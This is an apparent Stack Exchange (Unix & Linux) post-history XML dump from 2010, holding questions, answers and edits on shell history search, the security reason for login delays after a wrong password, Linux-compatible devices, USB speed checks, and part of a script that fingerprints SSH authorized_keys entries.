  <row Id="4350" PostHistoryTypeId="5" PostId="2052" RevisionGUID="8aa3e87c-9ca9-4cb8-bb0e-272dda09a488" CreationDate="2010-09-16T05:00:24.733" UserId="73" Comment="added 22 characters in body" Text="When using Bash, type &lt;kbd&gt;Control-R&lt;/kbd&gt; and then start typing. Typing &lt;kbd&gt;Control-R&lt;/kbd&gt; repeatedly after inputting some text will move you back in matching command lines." />
  <row Id="4351" PostHistoryTypeId="5" PostId="2051" RevisionGUID="b499d412-78ed-4d11-a5de-faa2f4f7e979" CreationDate="2010-09-16T05:00:55.730" UserId="73" Comment="added 14 characters in body" Text="In MSDOS I have the option to start typing some characters of a previous command and then pressing &lt;kbd&gt;F8&lt;/kbd&gt; it will search the command history buffer for the first occurrence of these characters. Repeatedly pressing &lt;kbd&gt;F8&lt;/kbd&gt; will continue the search for the next match.&#xD;&#xA;&#xD;&#xA;I love this functionality! Does it exist on Linux/UNIX?&#xD;&#xA;" />
  <row Id="4352" PostHistoryTypeId="2" PostId="2126" RevisionGUID="92635f7c-3efe-4e56-853a-ea1ceb9dfcf2" CreationDate="2010-09-16T05:18:55.187" UserId="250" Text="Hello,&#xD;&#xA;&#xD;&#xA;I notice a weird (well, according to me) thing about passwords. For example, if I type an incorrect password during login, there will be a few second's delay before the system tells me so. When I try to `sudo` with a wrong password I would also have to wait before the shell says &quot;Sorry, try again&quot;.&#xD;&#xA;&#xD;&#xA;I wonder why it takes so long to &quot;recognize&quot; an incorrect password? This has been seen on several distributions I use (and even OSX), so I think it's not a distribution specific thing." />
  <row Id="4353" PostHistoryTypeId="1" PostId="2126" RevisionGUID="92635f7c-3efe-4e56-853a-ea1ceb9dfcf2" CreationDate="2010-09-16T05:18:55.187" UserId="250" Text="why a wrong password gives a big delay" />
  <row Id="4354" PostHistoryTypeId="3" PostId="2126" RevisionGUID="92635f7c-3efe-4e56-853a-ea1ceb9dfcf2" CreationDate="2010-09-16T05:18:55.187" UserId="250" Text="ésecurityàépasswordàéauthenticationà" />
  <row Id="4355" PostHistoryTypeId="2" PostId="2127" RevisionGUID="11bf6f3a-dee0-4d4c-b09f-42e21bf38898" CreationDate="2010-09-16T05:24:41.223" UserId="29" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1.) this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2.) If it did it as soon as it verified your credentials were incorrect, you can use the amount of time it takes for it to invalidate you help guess if part of your credentials are correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM." />
  <row Id="4356" PostHistoryTypeId="2" PostId="2128" RevisionGUID="8cd6f5a9-e84a-4b4f-972c-42a6a28906ce" CreationDate="2010-09-16T05:29:33.430" UserId="73" Text="This is intentional, to try and limit brute forcing. You can usually modify it by looking for the `FAIL_DELAY` configuration entry in `/etc/login.defs` and changing its value (mine is `3` seconds by default), although the comment in that file makes it sound like PAM will enforce at least a `2` second delay no matter what" />
  <row Id="4357" PostHistoryTypeId="5" PostId="2127" RevisionGUID="2de3ed37-79e1-4ff8-b0b0-2eafdb9f7b7c" CreationDate="2010-09-16T05:32:06.710" UserId="29" Comment="add link to answer with pam configuration" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1.) this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2.) If it did it as soon as it verified your credentials were incorrect, you can use the amount of time it takes for it to invalidate you help guess if part of your credentials are correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( [See Michaels answer][1] ).&#xD;&#xA;&#xD;&#xA;Security Engineering ( [2ed, my amazon affiliate link][2] | [1ed, free][3] ) gives a much better explanation of these problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2126/why-a-wrong-password-gives-a-big-delay/2128#2128&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0470068523?ie=UTF8&amp;tag=xenotsblog-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470068523&#xD;&#xA;  [3]: http://www.cl.cam.ac.uk/~rja14/book.html" />
  <row Id="4358" PostHistoryTypeId="5" PostId="2127" RevisionGUID="c1b62658-6d1b-4b7d-a87e-190b8d58dcf1" CreationDate="2010-09-16T05:53:31.423" UserId="73" Comment="deleted 4 characters in body" Text="This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:&#xD;&#xA;&#xD;&#xA;1. this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? idk).&#xD;&#xA;&#xD;&#xA;2. If it did it as soon as it verified your credentials were incorrect, you can use the amount of time it takes for it to invalidate you help guess if part of your credentials are correct, dramatically reducing the guessing time.&#xD;&#xA;&#xD;&#xA;to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( [See Michaels answer][1] ).&#xD;&#xA;&#xD;&#xA;Security Engineering ( [2ed, my amazon affiliate link][2] | [1ed, free][3] ) gives a much better explanation of these problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2126/why-a-wrong-password-gives-a-big-delay/2128#2128&#xD;&#xA;  [2]: http://www.amazon.com/gp/product/0470068523?ie=UTF8&amp;tag=xenotsblog-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470068523&#xD;&#xA;  [3]: http://www.cl.cam.ac.uk/~rja14/book.html" />
  <row Id="4359" PostHistoryTypeId="8" PostId="541" RevisionGUID="b80128cc-fcaf-4be8-b939-cc1faeff2b88" CreationDate="2010-09-16T06:33:25.913" UserId="29" Comment="Rollback to [26abbb9a-0170-43c9-82b7-ee4eb27d4e9f]" Text="Is there a better way to search my history file for a command than grep? I do have some idea what the command starts as, but I don't know how far back in the history it is. (shell is zsh if it matters or if there are any zsh specific tricks)" />
  <row Id="4360" PostHistoryTypeId="7" PostId="541" RevisionGUID="b80128cc-fcaf-4be8-b939-cc1faeff2b88" CreationDate="2010-09-16T06:33:25.913" UserId="29" Comment="Rollback to [26abbb9a-0170-43c9-82b7-ee4eb27d4e9f]" Text="best way to search my shell's history" />
  <row Id="4361" PostHistoryTypeId="9" PostId="541" RevisionGUID="b80128cc-fcaf-4be8-b939-cc1faeff2b88" CreationDate="2010-09-16T06:33:25.913" UserId="29" Comment="Rollback to [26abbb9a-0170-43c9-82b7-ee4eb27d4e9f]" Text="éshellàécommandöhistoryàézshà" />
  <row Id="4362" PostHistoryTypeId="5" PostId="541" RevisionGUID="232b5d6b-ca3f-4baf-a220-fdbf40163244" CreationDate="2010-09-16T06:35:26.097" UserId="29" Comment="make more generic" Text="Is there a better way to search my history file for a command than grep? I do have some idea what the command starts as, but I don't know how far back in the history it is.&#xD;&#xA;&#xD;&#xA;*update:* was formerly zsh specific but due to overlapping answers feel free to answer for any shell (or mode (vi/emacs)) here, just note if it is specific." />
  <row Id="4363" PostHistoryTypeId="6" PostId="541" RevisionGUID="232b5d6b-ca3f-4baf-a220-fdbf40163244" CreationDate="2010-09-16T06:35:26.097" UserId="29" Comment="make more generic" Text="éshellàécommandöhistoryà" />
  <row Id="4364" PostHistoryTypeId="18" PostId="2051" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="to http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4365" PostHistoryTypeId="18" PostId="2052" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4366" PostHistoryTypeId="18" PostId="2084" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4367" PostHistoryTypeId="18" PostId="2091" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4368" PostHistoryTypeId="18" PostId="2099" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4369" PostHistoryTypeId="18" PostId="2120" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4370" PostHistoryTypeId="18" PostId="2122" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4371" PostHistoryTypeId="18" PostId="541" RevisionGUID="807d9c19-ef30-4e2c-a4a3-15c8f4558e6d" CreationDate="2010-09-16T06:41:05.367" UserId="29" Comment="from http://unix.stackexchange.com/questions/2051/bash-recall-command-by-typing-some-characters-of-it" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4372" PostHistoryTypeId="14" PostId="2051" RevisionGUID="fb832867-78b1-4372-a80a-9a03b28d8aca" CreationDate="2010-09-16T06:41:05.633" UserId="29" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="4373" PostHistoryTypeId="2" PostId="2130" RevisionGUID="ec668217-3759-439b-8046-46930fa89d60" CreationDate="2010-07-26T18:15:05.617" UserDisplayName="Broam" Text="Have you attempted to use the &quot;Palm OS devices&quot; menu option in System -&gt; Preferences? (It may be in System -&gt; Administration, I'm not in front of my Ubuntu boxes.)&#xD;&#xA;&#xD;&#xA;(Full disclosure: This answer assumes that a/your Palm Centro doesn't run Windows Mobile.)" />
  <row Id="4374" PostHistoryTypeId="2" PostId="2131" RevisionGUID="7102648f-b3fd-42b4-985a-8b06aa3ba4fc" CreationDate="2010-08-04T04:09:50.447" UserDisplayName="Greg W" Text="Download J-pilot. once installed, I googled &quot;pictures and video plugin j-pilot.&quot; Install it, restart, re-sync. All of your pictures and videos will now be on your computer. Magic." />
  <row Id="4375" PostHistoryTypeId="2" PostId="2129" RevisionGUID="b1fc67e9-6509-4841-a64b-42143932a269" CreationDate="2010-07-23T13:19:48.250" UserDisplayName="Evan Kroske" Text="I have a Palm Centro, and I'd like to copy the pictures to my computer. However, I'm using Ubuntu, and I don't want to switch to Windows or use Palm's horrible sync application (through Wine.) Is there a Linux application I can use to easily copy my pictures from my phone to my computer? I'd prefer a simple command-line script to a monolithic productivity suite." />
  <row Id="4376" PostHistoryTypeId="1" PostId="2129" RevisionGUID="b1fc67e9-6509-4841-a64b-42143932a269" CreationDate="2010-07-23T13:19:48.250" UserDisplayName="Evan Kroske" Text="Sync Palm Centro pictures on Linux" />
  <row Id="4377" PostHistoryTypeId="3" PostId="2129" RevisionGUID="b1fc67e9-6509-4841-a64b-42143932a269" CreationDate="2010-07-23T13:19:48.250" UserDisplayName="Evan Kroske" Text="ésyncàépicturesàélinuxà" />
  <row Id="4378" PostHistoryTypeId="2" PostId="2133" RevisionGUID="020c2866-79a7-488e-9dee-adb1551d78a9" CreationDate="2010-07-29T16:02:00.047" UserDisplayName="Evan Kroske" Text="Take a look at the [Always Innovating Touch Book][1]. It's only US $400, it uses an ARM TI OMAP3 chip, and it can run several Linux distributions (not sure about Windows CE). It also has a couple nifty features, like a detachable touch-screen that functions as a tablet and motion-sensing capabilities thanks to a 3D accelerometer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alwaysinnovating.com/" />
  <row Id="4379" PostHistoryTypeId="2" PostId="2134" RevisionGUID="4cf2022e-c66b-4e2e-a3c4-55c3ddf33f81" CreationDate="2010-07-29T22:34:52.740" UserId="1676" Text="The Wikipedia page &quot;[Netbook][1]&quot; lists several [ARM-based][2]- and [MIPS-based][3] netbooks.&#xD;&#xA;&#xD;&#xA;* &quot;HP Compaq Airlife 100 ... for €230&quot; is apparently &quot;HP's ARM-powered Android netbook&quot; slashgear.com/hp-compaq-airlife-100-arrives-in-spain-for-e230-2983611/ linuxfordevices.com/c/a/News/HP-Compaq-AirLife-100-on-US-website/&#xD;&#xA;* ARM netbook sells for $80 linuxfordevices.com/c/a/News/Menq-Easypc-E790/?kc=rss&#xD;&#xA;* &quot;A Hong Kong-based manufacturer is shipping a Linux-based ultra-mini PC (UMPC) laptop for only $250 ... Based on an &quot;industry standard&quot; RISC-based architecture (possibly MIPS?) the chip reportedly runs Windows CE as well as Linux.&quot; linuxfordevices.com/c/a/News/Worlds-cheapest-Linuxbased-laptop/&#xD;&#xA;&#xD;&#xA;You might also look at smartphones and PDAs that run Linux; practically all of them use ARM CPUs, and some version of Linux has been ported to many of them.&#xD;&#xA;&#xD;&#xA;* Linux PDAs http://www.linuxfordevices.com/c/a/Linux-For-Devices-Articles/Linux-PDAs-PMPs-PNDs-and-other-Handhelds/&#xD;&#xA;* $330 Pandora linuxfordevices.com/c/a/News/CortexA8-gaming-handheld-runs-Linux/&#xD;&#xA;* $175 iKit linuxfordevices.com/c/a/News/Tiny-clamshell-PDA-runs-Linux/&#xD;&#xA;* Psion wikipedia.org/wiki/Psion#Psion_and_Linux&#xD;&#xA;* ... somewhere on the Internet I saw a &quot;custom laptop&quot; built out of a PDA running Linux, a full-size PDA keyboard, and a hinge and a few other things to let it fold and unfold like a full-size laptop. For typing text and grepping through text, it ran for days between recharges. Screen was a big small, though. ... I wish I could find a link to it ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Netbook#ARM&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Netbook#ARM&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Netbook#MIPS" />
  <row Id="4380" PostHistoryTypeId="16" PostId="2134" RevisionGUID="4cf2022e-c66b-4e2e-a3c4-55c3ddf33f81" CreationDate="2010-07-29T22:34:52.740" UserId="-1" />
  <row Id="4381" PostHistoryTypeId="2" PostId="2135" RevisionGUID="60a70527-ea11-4320-aecb-910e228c644b" CreationDate="2010-07-30T19:48:15.610" UserDisplayName="Warren  P" Text="If I was bored, and looking to hack on an Arm-cortex based mini cool device, I'd be buying one of these:&#xD;&#xA;&#xD;&#xA;http://openpandora.org/&#xD;&#xA;&#xD;&#xA;No touch screen though.  Since you also mentioned Sim cards, I think that a large cell phone or tablet, like the Nokia Internet Tablet would fit the bill." />
  <row Id="4382" PostHistoryTypeId="2" PostId="2132" RevisionGUID="9e50bfc8-f1e8-4bee-bfbb-b6d70a370eaa" CreationDate="2010-07-29T09:36:15.277" UserDisplayName="Andrew J. Brehm" Text="I am bored and want to play with a netbook or other small computer. Can anyone recommend something?&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;1. ARM or MIPS CPU&#xD;&#xA;2. Can run Windows CE 6 and/or Linux (preferably dual-boot)&#xD;&#xA;3. Linux distribution must be full-fledged (for the architecture, i.e. no single-user toy GUI)&#xD;&#xA;4. Costs less than 400 Euros (although a cool machine can cost more)&#xD;&#xA;5. Wireless LAN, any speed&#xD;&#xA;6. USB ports, 1.1 or 2.0&#xD;&#xA;7. SD card reader would be nice but is not necessary&#xD;&#xA;8. Slot for SIM card and built-in 3G would be nice but is not necessary&#xD;&#xA;9. If netbook/laptop should run when lid is closed&#xD;&#xA;&#xD;&#xA;Any recommendations?&#xD;&#xA;" />
  <row Id="4383" PostHistoryTypeId="1" PostId="2132" RevisionGUID="9e50bfc8-f1e8-4bee-bfbb-b6d70a370eaa" CreationDate="2010-07-29T09:36:15.277" UserDisplayName="Andrew J. Brehm" Text="Looking for ARM- or MIPS-based computer (netbook or similar size) to play with. Any recommendations?" />
  <row Id="4384" PostHistoryTypeId="3" PostId="2132" RevisionGUID="9e50bfc8-f1e8-4bee-bfbb-b6d70a370eaa" CreationDate="2010-07-29T09:36:15.277" UserDisplayName="Andrew J. Brehm" Text="élinuxà" />
  <row Id="4385" PostHistoryTypeId="2" PostId="2137" RevisionGUID="0fa42bcb-42e3-4ee2-85d4-34a42727c773" CreationDate="2010-08-04T17:44:09.937" UserDisplayName="Joakim Elofsson" Text="If the player works as a usb-disk when connected to the PC (no need for special application to transfer) then it should be working on any platform supporting usb-disks.&#xD;&#xA;&#xD;&#xA;Ogg Vorbis support is a plus regardlles of platform, but hardly a must for any (more a question what format your music collection is in). Mp3 works just fine. &#xD;&#xA;&#xD;&#xA;Personally don't see the point with a dedicated mp3 player, I'm using my mobilephone as mp3 player. " />
  <row Id="4386" PostHistoryTypeId="2" PostId="2138" RevisionGUID="55581b88-61e1-4916-8f49-caeb6a0f5299" CreationDate="2010-08-04T18:41:03.233" UserId="1000" Text="If you're not averse to installing a custom firmware I would look at the list of supported devices for [RockBox][1].  This will let you add music to your mp3 player like it's an external storage device, and has great codec support such as OggVorbis, Flac, and many others.  I've used rockbox on my old iPod and it was fantastic, the navigation takes a little bit to get used to but it made my iPod a much more usable device.&#xD;&#xA;&#xD;&#xA;  [1]:http://www.rockbox.org/" />
  <row Id="4387" PostHistoryTypeId="2" PostId="2139" RevisionGUID="3ca44cd1-994e-4f58-916f-7fa09d7ef05d" CreationDate="2010-08-18T16:26:16.910" UserDisplayName="Broam" Text="To be crass and short: Not being made by Apple.&#xD;&#xA;&#xD;&#xA;To elaborate: Your clues are pretty much spot-on. USB Mass Storage (&quot;Data Transfer Only&quot;) is **generally all you need.** Generally with Linux I throw out the vendor-supplied software and just use the utilities shipped with my distro. You can use Rhythmbox/Banshee/Amarok/etc., or you can use a file manager, or rsync, or whatever you choose, but they're ALL better than some proprietary music manager, unless you want DRM. (Don't know why you would...)&#xD;&#xA;&#xD;&#xA;If it says it works w/ Mac OS X &quot;data transfer only&quot;, you can reasonably assume Linux and Unix (BSD's, etc.) *will also work*.&#xD;&#xA;&#xD;&#xA;The only other nice thing is **Firmware Upgrades On-Device.** The Sansa line can update either by unzipping an archive and dropping the files on the player or using their Sansa Updater utility.&#xD;&#xA;&#xD;&#xA;I never needed to use the Sansa Updater when I was running stock firmware." />
  <row Id="4388" PostHistoryTypeId="2" PostId="2140" RevisionGUID="e56a862a-c694-4333-a269-003157052907" CreationDate="2010-08-19T17:16:12.473" UserDisplayName="mfg" Text="The music library program Songbird has a linux branch (that they cut official support to) that supports a pretty solid amount of PMPs/Smartphones (the Windows version has the Moto Droid for sure, i believe the linux version does too). It helps in syncing both audio files on the phone with the desktop as well as playlists." />
  <row Id="4389" PostHistoryTypeId="2" PostId="2136" RevisionGUID="b4cbe369-9729-4a1d-b069-98b6b9db35cb" CreationDate="2010-08-04T14:50:14.173" UserDisplayName="Wilduck" Text="I'm in the market for a new portable mp3-player, and will be connecting it mostly to a Linux box, but occasionally to a Windows Vista machine as well. I'm wondering what qualities I should be looking for in a music player that suggest good out of the box Linux support. Having struggled to get my iPod to play nicely with Linux on a consistent basis, I'm hoping that I can find something that offers better native Linux support. &#xD;&#xA;&#xD;&#xA;I've noticed a couple things in my search thus far:&#xD;&#xA;&#xD;&#xA; 1. Ogg Vorbis support and &quot;Linux Compatible&quot; are highly correlated&#xD;&#xA; 2. Linux Compatible is often qualified with something like &quot;support only for data transfer&quot; &#xD;&#xA;&#xD;&#xA;Are these the only sorts of clues I'll be able to follow? I'd appreciate any advice on what to look for, or examples of products that do it right." />
  <row Id="4390" PostHistoryTypeId="1" PostId="2136" RevisionGUID="b4cbe369-9729-4a1d-b069-98b6b9db35cb" CreationDate="2010-08-04T14:50:14.173" UserDisplayName="Wilduck" Text="What makes a portable mp3 player work well with Linux?" />
  <row Id="4391" PostHistoryTypeId="3" PostId="2136" RevisionGUID="b4cbe369-9729-4a1d-b069-98b6b9db35cb" CreationDate="2010-08-04T14:50:14.173" UserDisplayName="Wilduck" Text="élinuxà" />
  <row Id="4392" PostHistoryTypeId="2" PostId="2142" RevisionGUID="8b2220c9-04cb-4fa0-810c-503084535bda" CreationDate="2010-08-06T06:36:41.233" UserId="1101" Text="All Android based phones are also Linux phones. &#xD;&#xA;&#xD;&#xA;&gt; Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack." />
  <row Id="4393" PostHistoryTypeId="16" PostId="2142" RevisionGUID="8b2220c9-04cb-4fa0-810c-503084535bda" CreationDate="2010-08-06T06:36:41.233" UserId="-1" />
  <row Id="4394" PostHistoryTypeId="2" PostId="2143" RevisionGUID="41863c31-33aa-4d53-b121-79286a22a733" CreationDate="2010-08-06T09:09:46.080" UserId="666" Text="[Nokia N900][1] is one of the Linux based phones I know. It even has a terminal app out of the box to access shell!&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Nokia_N900&#xD;&#xA;" />
  <row Id="4395" PostHistoryTypeId="16" PostId="2143" RevisionGUID="41863c31-33aa-4d53-b121-79286a22a733" CreationDate="2010-08-06T09:09:46.080" UserId="-1" />
  <row Id="4396" PostHistoryTypeId="2" PostId="2144" RevisionGUID="be93caac-d07e-40ad-b2a2-2f1b9f5a1214" CreationDate="2010-08-11T15:00:59.727" UserDisplayName="Broam" Text="Even older than the FreeRunner was the [GreenPhone][1]. It ceased production in 2007. The software did manage to live on as QtMoko/Debian for the FreeRunner.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Greenphone" />
  <row Id="4397" PostHistoryTypeId="16" PostId="2144" RevisionGUID="be93caac-d07e-40ad-b2a2-2f1b9f5a1214" CreationDate="2010-08-11T15:00:59.727" UserId="-1" />
  <row Id="4398" PostHistoryTypeId="2" PostId="2141" RevisionGUID="3d7c3a2b-2a82-4ed1-a27d-b9e00c1834fb" CreationDate="2010-08-05T22:44:42.703" UserDisplayName="Wayne Werner" Text="I know of the [Freefrunner][1], but are there any other Linux cell phones out there? Are they any good?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openmoko.com/freerunner.html" />
  <row Id="4399" PostHistoryTypeId="1" PostId="2141" RevisionGUID="3d7c3a2b-2a82-4ed1-a27d-b9e00c1834fb" CreationDate="2010-08-05T22:44:42.703" UserDisplayName="Wayne Werner" Text="Linux Cell Phones?" />
  <row Id="4400" PostHistoryTypeId="3" PostId="2141" RevisionGUID="3d7c3a2b-2a82-4ed1-a27d-b9e00c1834fb" CreationDate="2010-08-05T22:44:42.703" UserDisplayName="Wayne Werner" Text="élinuxà" />
  <row Id="4401" PostHistoryTypeId="16" PostId="2141" RevisionGUID="3d7c3a2b-2a82-4ed1-a27d-b9e00c1834fb" CreationDate="2010-08-05T22:44:42.703" UserId="-1" />
  <row Id="4402" PostHistoryTypeId="2" PostId="2145" RevisionGUID="e522fb1a-2b36-431e-b669-774153ca1e0b" CreationDate="2010-08-16T07:35:08.370" UserId="1079" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm looking for a programmable Linux controller fro home automation and general fun projects.&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;* Controlling electric appliances - On\Off switches and dimmers (perhaps using relays)&#xD;&#xA;* Receive analogue and digital data from sensors (switches, temperatures, etc.)&#xD;&#xA;* USB connection&#xD;&#xA;* Running Linux&#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;* Network connection \ Web interface&#xD;&#xA;* Python support&#xD;&#xA;* Small display screen&#xD;&#xA;* Keyboard and VGA support&#xD;&#xA;&#xD;&#xA;I used to have a lot of fun with a [Handy Board][1], but it has broke down few months ago, and it lacks many vital features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas for such a hardware device?&#xD;&#xA;&#xD;&#xA;Adam&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Handy_Board&#xD;&#xA;  [2]: http://i.imgur.com/k0UJh.jpg" />
  <row Id="4403" PostHistoryTypeId="1" PostId="2145" RevisionGUID="e522fb1a-2b36-431e-b669-774153ca1e0b" CreationDate="2010-08-16T07:35:08.370" UserId="1079" Text="Linux Programmable Controller" />
  <row Id="4404" PostHistoryTypeId="3" PostId="2145" RevisionGUID="e522fb1a-2b36-431e-b669-774153ca1e0b" CreationDate="2010-08-16T07:35:08.370" UserId="1079" Text="élinuxà" />
  <row Id="4405" PostHistoryTypeId="5" PostId="546" RevisionGUID="66ee222b-66b6-40d3-94a0-27397f4af8ea" CreationDate="2010-09-16T06:45:18.277" UserId="29" Comment="add note." Text="*might be zsh specific.* In researching [this answer][1] I [found][2] `vi-history-search-backward` which allows one to search with &lt;kbd&gt;/&lt;/kbd&gt; in vi mode (which I didn't mention I was in) you can then use &lt;kbd&gt;n&lt;/kbd&gt; and &lt;kbd&gt;N&lt;/kbd&gt; to search forward and backward respectively (after pressing &lt;kbd&gt;enter&lt;/kbd&gt;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history/542#542&#xD;&#xA;  [2]: http://zsh.sourceforge.net/Doc/Release/zsh_17.html#SEC100" />
  <row Id="4406" PostHistoryTypeId="5" PostId="2087" RevisionGUID="e6ebb461-e3e2-46b7-a589-19494a7f7da7" CreationDate="2010-09-16T07:19:29.293" UserId="1131" Comment="dmesg note" Text="You could check out&#xD;&#xA;&#xD;&#xA;    lsusb -v&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my system I get for example this line (and much more information):&#xD;&#xA;&#xD;&#xA;&gt; Port 6: 0000.0503 highspeed power enable connect&#xD;&#xA;&#xD;&#xA;Alternatively you can issue a:&#xD;&#xA;&#xD;&#xA;    tail -f /var/log/kern.log&#xD;&#xA;&#xD;&#xA;in one terminal and then plug in the USB flash drive. On my system I get for example this message:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:10:40 foo kernel: [405279.750140] usb 2-2: new high speed USB device using ehci_hcd and address 24&#xD;&#xA;&#xD;&#xA;ehci_hcd is the USB 2.0 controler module in the kernel (i.e. everything is ok, the USB 2.0 stick is used with the right speed).&#xD;&#xA;&#xD;&#xA;Unless you get a follow up message like this:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:15:25 foo kernel: [405564.451402] usb 6-2: not running at top speed; connect to a high speed hub&#xD;&#xA;&#xD;&#xA;(in this case probably compatibility problem with a low quality USB 2.0 stick (Kensington), since the computer's USB port supports USB 2.0 high speed devices otherwise)&#xD;&#xA;&#xD;&#xA;With a non USB 2.0 high speed stick I get this message:&#xD;&#xA;&#xD;&#xA;&gt; Sep 15 22:15:25 foo kernel: [405564.300127] usb 6-2: new full speed USB device using uhci_hcd and address 4&#xD;&#xA;&#xD;&#xA;If your user account does not have access to /var/log/kern.log (or another system dependent kernel log message file location), you could use the command *dmesg* as an alternative to display the contents of the kernel message buffer. The disadvantage of dmesg is just that it does print such nice time stamps and it does not have a *follow output* option.&#xD;&#xA;" />
  <row Id="4407" PostHistoryTypeId="2" PostId="2146" RevisionGUID="e2d72585-a5ff-4386-b7c9-24f0f6da75f8" CreationDate="2010-09-16T07:37:29.600" UserId="1107" Text="*ssh-keygen* can do the core of the work (generating a fingerprint from a public key), but it will not automatically process a list of multiple keys as is usually found in an `authorized_keys` file.&#xD;&#xA;&#xD;&#xA;Here is a script that splits up the keys, feeds them to *ssh-keygen* and produces the table you want:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    set -ue&#xD;&#xA;    &#xD;&#xA;    tmp=&quot;$(mktemp -t fingerprint-authkeys)&quot;&#xD;&#xA;    trap 'rm -f &quot;$tmp&quot;' 0&#xD;&#xA;    &#xD;&#xA;    while read opts key; do&#xD;&#xA;        case &quot;$opts&quot; in&#xD;&#xA;            [0-9]*|ssh-dss|ssh-rsa)&#xD;&#xA;                # not options, first &quot;word&quot; is part of key&#xD;&#xA;                key=&quot;$opts $key&quot;&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;        echo &quot;$key&quot; &gt;$tmp&#xD;&#xA;        set -- $(ssh-keygen -lf &quot;$tmp&quot;)&#xD;&#xA;        bits=&quot;$1&quot; fingerprint=&quot;$2&quot;&#xD;&#xA;  